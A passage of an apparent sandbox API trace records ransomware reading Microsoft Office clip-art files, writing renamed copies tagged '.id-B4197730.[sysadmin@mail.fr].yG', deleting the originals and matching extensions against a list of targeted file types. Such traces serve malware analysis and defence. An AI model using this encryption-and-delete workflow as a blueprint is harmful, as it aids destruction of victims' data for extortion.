	[0054.029] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.029] CloseHandle (hObject=0x2e0) returned 1
	[0054.030] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.030] SetEndOfFile (hFile=0x384) returned 1
	[0054.031] CloseHandle (hObject=0x384) returned 1
	[0054.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1
	[0054.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0054.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0054.031] lstrlenW (lpString=".doc") returned 4
	[0054.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.031] lstrlenW (lpString=".docx") returned 5
	[0054.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.031] lstrlenW (lpString=".pdf") returned 4
	[0054.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.032] lstrlenW (lpString=".xls") returned 4
	[0054.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.032] lstrlenW (lpString=".xlsx") returned 5
	[0054.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.032] lstrlenW (lpString=".ppt") returned 4
	[0054.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0054.032] lstrlenW (lpString=".zip") returned 4
	[0054.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.032] lstrlenW (lpString=".rar") returned 4
	[0054.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.032] lstrlenW (lpString=".bz2") returned 4
	[0054.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.032] lstrlenW (lpString=".7z") returned 3
	[0054.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0054.032] lstrlenW (lpString=".dbf") returned 4
	[0054.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0054.032] lstrlenW (lpString=".1cd") returned 4
	[0054.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68
	[0054.032] lstrlenW (lpString=".jpg") returned 4
	[0054.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.033] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.033] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0054.033] GetLastError () returned 0x0
	[0054.033] ReadFile (in: hFile=0x384, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x9d0e, lpOverlapped=0x0) returned 1
	[0054.065] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x9d10, lpOverlapped=0x0) returned 1
	[0054.068] ReadFile (in: hFile=0x384, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.068] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.068] SetEndOfFile (hFile=0x2e0) returned 1
	[0054.068] CloseHandle (hObject=0x2e0) returned 1
	[0054.069] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.069] SetEndOfFile (hFile=0x384) returned 1
	[0054.071] CloseHandle (hObject=0x384) returned 1
	[0054.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1
	[0054.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0054.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0054.071] lstrlenW (lpString=".doc") returned 4
	[0054.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.071] lstrlenW (lpString=".docx") returned 5
	[0054.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.071] lstrlenW (lpString=".pdf") returned 4
	[0054.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.072] lstrlenW (lpString=".xls") returned 4
	[0054.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.072] lstrlenW (lpString=".xlsx") returned 5
	[0054.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.072] lstrlenW (lpString=".ppt") returned 4
	[0054.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0054.072] lstrlenW (lpString=".zip") returned 4
	[0054.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.072] lstrlenW (lpString=".rar") returned 4
	[0054.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.072] lstrlenW (lpString=".bz2") returned 4
	[0054.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.072] lstrlenW (lpString=".7z") returned 3
	[0054.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0054.072] lstrlenW (lpString=".dbf") returned 4
	[0054.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0054.072] lstrlenW (lpString=".1cd") returned 4
	[0054.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68
	[0054.072] lstrlenW (lpString=".jpg") returned 4
	[0054.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.079] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.079] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.080] GetLastError () returned 0x0
	[0054.080] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x38cc, lpOverlapped=0x0) returned 1
	[0054.082] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x38d0, lpOverlapped=0x0) returned 1
	[0054.083] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.083] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.084] SetEndOfFile (hFile=0x350) returned 1
	[0054.084] CloseHandle (hObject=0x350) returned 1
	[0054.084] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.085] SetEndOfFile (hFile=0x34c) returned 1
	[0054.085] CloseHandle (hObject=0x34c) returned 1
	[0054.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1
	[0054.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0054.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0054.086] lstrlenW (lpString=".doc") returned 4
	[0054.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.086] lstrlenW (lpString=".docx") returned 5
	[0054.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.086] lstrlenW (lpString=".pdf") returned 4
	[0054.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.086] lstrlenW (lpString=".xls") returned 4
	[0054.086] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.086] lstrlenW (lpString=".xlsx") returned 5
	[0054.086] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.086] lstrlenW (lpString=".ppt") returned 4
	[0054.086] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0054.086] lstrlenW (lpString=".zip") returned 4
	[0054.086] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.086] lstrlenW (lpString=".rar") returned 4
	[0054.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.086] lstrlenW (lpString=".bz2") returned 4
	[0054.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.086] lstrlenW (lpString=".7z") returned 3
	[0054.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0054.086] lstrlenW (lpString=".dbf") returned 4
	[0054.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0054.087] lstrlenW (lpString=".1cd") returned 4
	[0054.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0054.087] lstrlenW (lpString=".jpg") returned 4
	[0054.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.087] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.087] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.087] GetLastError () returned 0x0
	[0054.087] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1f1e, lpOverlapped=0x0) returned 1
	[0054.105] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0054.108] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.108] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.108] SetEndOfFile (hFile=0x350) returned 1
	[0054.108] CloseHandle (hObject=0x350) returned 1
	[0054.109] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.109] SetEndOfFile (hFile=0x34c) returned 1
	[0054.110] CloseHandle (hObject=0x34c) returned 1
	[0054.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1
	[0054.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0054.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0054.110] lstrlenW (lpString=".doc") returned 4
	[0054.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0054.110] lstrlenW (lpString=".docx") returned 5
	[0054.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0054.110] lstrlenW (lpString=".pdf") returned 4
	[0054.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0054.110] lstrlenW (lpString=".xls") returned 4
	[0054.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0054.111] lstrlenW (lpString=".xlsx") returned 5
	[0054.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0054.111] lstrlenW (lpString=".ppt") returned 4
	[0054.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0054.111] lstrlenW (lpString=".zip") returned 4
	[0054.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0054.111] lstrlenW (lpString=".rar") returned 4
	[0054.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0054.111] lstrlenW (lpString=".bz2") returned 4
	[0054.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0054.111] lstrlenW (lpString=".7z") returned 3
	[0054.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0054.111] lstrlenW (lpString=".dbf") returned 4
	[0054.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0054.111] lstrlenW (lpString=".1cd") returned 4
	[0054.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0054.111] lstrlenW (lpString=".jpg") returned 4
	[0054.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0054.111] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.111] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.112] GetLastError () returned 0x0
	[0054.112] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4edd, lpOverlapped=0x0) returned 1
	[0054.120] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4ee0, lpOverlapped=0x0) returned 1
	[0054.122] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.122] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.122] SetEndOfFile (hFile=0x350) returned 1
	[0054.122] CloseHandle (hObject=0x350) returned 1
	[0054.123] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.123] SetEndOfFile (hFile=0x34c) returned 1
	[0054.124] CloseHandle (hObject=0x34c) returned 1
	[0054.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1
	[0054.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0054.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0054.124] lstrlenW (lpString=".doc") returned 4
	[0054.124] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0054.124] lstrlenW (lpString=".docx") returned 5
	[0054.124] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0054.124] lstrlenW (lpString=".pdf") returned 4
	[0054.124] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0054.124] lstrlenW (lpString=".xls") returned 4
	[0054.124] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0054.124] lstrlenW (lpString=".xlsx") returned 5
	[0054.124] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0054.124] lstrlenW (lpString=".ppt") returned 4
	[0054.125] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0054.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0054.125] lstrlenW (lpString=".zip") returned 4
	[0054.125] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0054.125] lstrlenW (lpString=".rar") returned 4
	[0054.125] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0054.125] lstrlenW (lpString=".bz2") returned 4
	[0054.125] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0054.125] lstrlenW (lpString=".7z") returned 3
	[0054.125] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0054.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0054.125] lstrlenW (lpString=".dbf") returned 4
	[0054.125] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0054.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0054.125] lstrlenW (lpString=".1cd") returned 4
	[0054.125] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0054.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68
	[0054.125] lstrlenW (lpString=".jpg") returned 4
	[0054.125] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0054.125] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.125] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0054.126] GetLastError () returned 0x0
	[0054.126] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x4fe6, lpOverlapped=0x0) returned 1
	[0054.164] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x4ff0, lpOverlapped=0x0) returned 1
	[0054.165] ReadFile (in: hFile=0x34c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0054.165] WriteFile (in: hFile=0x350, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0054.165] SetEndOfFile (hFile=0x350) returned 1
	[0054.165] CloseHandle (hObject=0x350) returned 1
	[0054.166] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0054.166] SetEndOfFile (hFile=0x34c) returned 1
	[0054.175] CloseHandle (hObject=0x34c) returned 1
	[0054.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0054.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif")) returned 1
	[0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0054.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 68
	[0054.176] lstrlenW (lpString=".doc") returned 4
	[0054.176] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0054.176] lstrlenW (lpString=".docx") returned 5
	[0054.176] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0054.176] lstrlenW (lpString=".pdf") returned 4
	[0054.176] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
